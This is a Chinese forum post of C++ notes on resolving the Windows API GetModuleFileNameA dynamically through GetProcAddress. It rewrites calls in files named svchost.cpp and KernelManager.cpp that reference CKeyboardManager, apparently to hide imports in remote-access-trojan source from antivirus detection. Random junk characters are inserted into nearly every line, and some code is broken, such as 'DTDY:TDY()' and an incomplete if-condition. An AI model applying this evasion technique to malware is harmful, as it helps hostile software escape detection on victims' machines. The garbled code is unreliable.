|

- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记
* D. O6 j, X$ X7 ?svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h. a8 f( W* Z- t% C j; Y
----------------------------------------
# k$ w! O! V9 G* NDTDY.h:
8 y0 M$ |2 s9 R" U( J& ~% N2 |7 f. M6 y$ ]' G- x
#if _MSC_VER>10001 f2 Z/ Y ~7 E1 ~* O& J
#pragma once0 x, V7 R- [% K; G! C
#endif //_MSC_VER>1000: _7 A( O6 r4 \% H9 k
#include<windows.h>
7 E+ q' s. O S h
5 O1 A2 T4 c. H/ }typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);: b/ `# x- f" S- y2 ]9 j; c$ I
class DTDY! u" |7 X& a e1 k# v/ p' r
{
# u9 Y' Q ^ Ypublic:
+ K) n# h% U8 x1 ZDTDY();
! T1 K3 C' u7 a, G) d0 G" y2 lvirtual ~DTDY();% _6 T, Z, O4 `: y' m7 J
public:" S% w: y$ R- [
static pGetModuleFileNameA MyGetModuleFileName;
" Q$ A, ^& ]6 r0 ~5 \static BOOL FunInitiallization();
/ m8 {! S$ Y+ ~- ]0 v, k4 V$ `* h6 @};
* s* A) K5 s! A" N! p#endif
3 X+ E- M {3 L6 M9 ?; Q8 v( P----------------------------------------
8 `3 d& Y4 N" `5 N) Q* a( V$ B
/ P# ~( F3 t" R% }( FDTDY.cpp:( u; W0 K$ y2 o
8 k1 Q. H" @; p Y) [- p5 @
#include "DTDY.h"
, }; h8 ?% o; Q6 [- epGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;2 Q. e2 J6 S( x
DTDY:TDY()
0 J& J, j( H, _( \" L4 k( z1 P3 b0 W2 J{% h; q" N! F( {; `7 v1 ]; E# R
}
& {: e2 ~ t3 D4 g3 UDTDY::~DTDY()+ c# A2 v* s$ b- `; v
{6 X1 v! \, [( K, t7 k# l' u
}# G, x; w* ]; O9 i
BOOL DTDY::FunInitiallization()
; X0 L2 }) q# {( c{
5 c8 X" [1 E2 X) [2 yHMODULE hModule=LoadLibrary("kernel32.dll");/ x6 w" } A+ R2 H! ?* l! l/ L
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
. `/ y4 e, @* l2 a" R0 Cif(!MyGetModuleFileName=) return FALSE;
/ r' e, Z5 w6 R# u5 ?1 P. G, g1 i: y; S2 I# n: X, Y
return TRUE;# c* \0 V( y' v) {7 c
}
$ w6 @3 E& w1 b, o7 R----------------------------------------* R+ b0 d" g' n" W* C0 \
svchost.cpp:' h3 z! h. m8 K7 f& j) d6 l
9 f% H3 m6 m% z9 I" j" g
#include "DTDY.h") K( [- ~* {1 e1 y' x0 }
; O4 y$ R6 {/ FBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)5 {' a; ^& A8 u3 d
{( i# L6 x+ I) M: v0 N
switch(ul_reason_for_call)* [+ W6 h" @4 N- a0 Q5 s$ o
{6 m& U' B7 o- u( N1 m/ O
case DLL_PROCESS_ATTACH:# U, K( u) `2 Y" I; F# {$ J
if(!DTDY::FunInitiallization()) return FALSE;3 @+ `+ l+ k0 v* Q
5 s) Q+ e z# ]4 z* dbreak;- c/ S* L9 p3 ~! L# y
}
* \# p5 O5 `# C+ Z6 a# z}8 x) ]3 X# M+ B7 ~5 _
X, M2 C/ O1 L% L1 o
4 s' R2 i( O f' [! V' q) y) lGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def+ e3 d' ~4 ]6 J- }* R2 R: t
改写为1 a' b+ E: [4 w: `
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));8 E2 R2 T6 ~0 n2 ~
----------------------------------------$ e- C. S2 u6 a; V. G2 e' v8 X
KernelManager.cpp:! t* T9 F& s1 R, J$ t
6 ~, _+ Y0 @0 F1 K8 y1 j$ W#include "../DTDY.h"' a) e5 _" b0 l% h& g
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 t8 T T: A3 X1 t2 k* z; d1 L' q
改写为
. W- ^0 j6 {3 f9 h' KDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
7 }7 _4 e) w% F4 E/ G; t---------------------------------------- |
|